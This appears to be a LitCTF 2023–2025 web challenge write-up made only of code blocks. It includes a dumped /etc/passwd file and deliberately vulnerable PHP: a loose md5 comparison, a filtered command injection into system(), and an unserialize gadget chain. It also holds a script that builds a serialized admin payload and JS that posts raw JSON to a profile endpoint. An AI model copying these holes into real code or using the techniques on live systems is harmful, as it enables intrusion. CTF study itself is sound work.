LitCTF2023-2025-web-wp

1
<result><code>0</code><msg>root:x:0:0:root:/root:/bin/ash
2
bin:x:1:1:bin:/bin:/sbin/nologin
3
daemon:x:2:2:daemon:/sbin:/sbin/nologin
4
adm:x:3:4:adm:/var/adm:/sbin/nologin
5
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6
sync:x:5:0:sync:/sbin:/bin/sync
7
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8
halt:x:7:0:halt:/sbin:/sbin/halt
9
mail:x:8:12:mail:/var/mail:/sbin/nologin
10
news:x:9:13:news:/usr/lib/news:/sbin/nologin
11
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
12
operator:x:11:0:operator:/root:/sbin/nologin
13
man:x:13:15:man:/usr/man:/sbin/nologin
14
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
15
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
16
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
17
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
18
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
19
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
20
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
21
games:x:35:35:games:/usr/games:/sbin/nologin
22
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
23
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
24
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
25
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
26
guest:x:405:100:guest:/dev/null:/sbin/nologin
27
nobody:x:65534:65534:nobody:/:/sbin/nologin
28
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
29
utmp:x:100:406:utmp:/home/utmp:/bin/false
30
mysql:x:101:101:mysql:/var/lib/mysql:/sbin/nologin
31
nginx:x:102:102:nginx:/var/lib/nginx:/sbin/nologin
32
</msg></result>

1
<?php
2
error_reporting(0);
3

4
$a = $_GET['a'];
5
$b = $_GET['b'];
6
$c = $_GET['c'];
7

8
if ($a !== $b && md5($a) == md5($b)) {
9
        if (!is_numeric($c) && $c > 2024) {
10
            echo "好康的";
11
        } else {
12
            die("干巴爹干巴爹先辈~");
13
        }
14
    }
15
else {
16
    die("开胃小菜))");
17
}
18
开胃小菜))

1
<?php
2
//flag in 12.php
3
error_reporting(0);
4
if(isset($_GET['x'])){
5

6
    $x = $_GET['x'];
7

8
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
9

10
            system("cat ".$x.".php");
11
    }
12
}else{
13
    highlight_file(__FILE__);
14
}
15
?>

1
<?php
2
// 1. 必须声明和目标一模一样的类结构
3
class User {
4
    public $username;
5
    public $password;
6

7
    function __construct($username, $password) {
8
        $this->username = $username;
9
        $this->password = $password;
10
    }
11
}
12

13
// 2. 实例化一个满足绕过条件的对象
14
$admin_user = new User('admin', 'secure_password');
15

16
// 3. 序列化这个对象
17
$serialized_data = serialize($admin_user);
18
echo "原始序列化字符串: " . $serialized_data . "\n";
19

20
// 4. 进行 Base64 编码
21
$final_payload = base64_encode($serialized_data);
22
echo "最终提交的 Payload: " . $final_payload . "\n";
23
?>

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
create_function("", 'die(`/readflag`);');
5
class Taki
6
{
7
    private $musubi;
8
    private $magic;
9
    public function __unserialize(array $data)
10
    {        $this->musubi = $data['musubi'];        $this->magic = $data['magic'];
11
        return ($this->musubi)();
12
    }
13
    public function __call($func,$args){
14
        (new $args[0]($args[1]))->{$this->magic}();
15
    }
16
}
17

18
class Mitsuha
19
{
20
    private $memory;
21
    private $thread;
22
    public function __invoke()
23
    {
24
        return $this->memory.$this->thread;
25
    }
26
}
27

28
class KatawareDoki
29
{
30
    private $soul;
31
    private $kuchikamizake;
32
    private $name;
33

34
    public function __toString()
35
    {
36
        ($this->soul)->flag($this->kuchikamizake,$this->name);
37
        return "call error!no flag!";
38
    }
39
}
40

41
$Litctf2025 = $_POST['Litctf2025'];
42
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){    unserialize($Litctf2025);
43
}else{
44
    echo "把O改成C不就行了吗,笨蛋!～(∠・ω< )⌒☆";
45
}

1
|   |
2
|---|
3
|// 更新表单的JS提交|
4
|document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {|
5
|event.preventDefault();|
6
|const statusEl = document.getElementById('updateStatus');|
7
|const currentSettingsEl = document.getElementById('currentSettings');|
8
|statusEl.textContent = '正在更新...';|
9
||
10
|const formData = new FormData(event.target);|
11
|const settingsPayload = {};|
12
|// 构建 settings 对象，只包含有值的字段|
13
|if (formData.get('theme')) settingsPayload.theme = formData.get('theme');|
14
|if (formData.get('language')) settingsPayload.language = formData.get('language');|
15
|// ...可以添加其他字段|
16
||
17
|try {|
18
|const response = await fetch('/api/profile/update', {|
19
|method: 'POST',|
20
|headers: {|
21
|'Content-Type': 'application/json',|
22
|},|
23
|body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下|
24
|});|
25
|const result = await response.json();|
26
|if (response.ok) {|
27
|statusEl.textContent = '成功: ' + result.message;|
28
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
29
|// 刷新页面以更新导航栏（如果isAdmin状态改变）|
30
|setTimeout(() => window.location.reload(), 1000);|
31
|} else {|
32
|statusEl.textContent = '错误: ' + result.message;|
33
|}|
34
|} catch (error) {|
35
|statusEl.textContent = '请求失败: ' + error.toString();|
36
|}|
37
|});|
38
||
39
|// 发送原始JSON的函数|
40
|async function sendRawJson() {|
41
|const rawJson = document.getElementById('rawJsonSettings').value;|
42
|const statusEl = document.getElementById('rawJsonStatus');|
43
|const currentSettingsEl = document.getElementById('currentSettings');|
44
|statusEl.textContent = '正在发送...';|
45
|try {|
46
|const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON|
47
|const response = await fetch('/api/profile/update', {|
48
|method: 'POST',|
49
|headers: {|
50
|'Content-Type': 'application/json',|
51
|},|
52
|body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON|
53
|});|
54
|const result = await response.json();|
55
|if (response.ok) {|
56
|statusEl.textContent = '成功: ' + result.message;|
57
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
58
|// 刷新页面以更新导航栏（如果isAdmin状态改变）|
59
|setTimeout(() => window.location.reload(), 1000);|
60
|} else {|
61
|statusEl.textContent = '错误: ' + result.message;|
62
|}|
63
|} catch (error) {|
64
|statusEl.textContent = '请求失败或JSON无效: ' + error.toString();|
65
|}|
66
|}|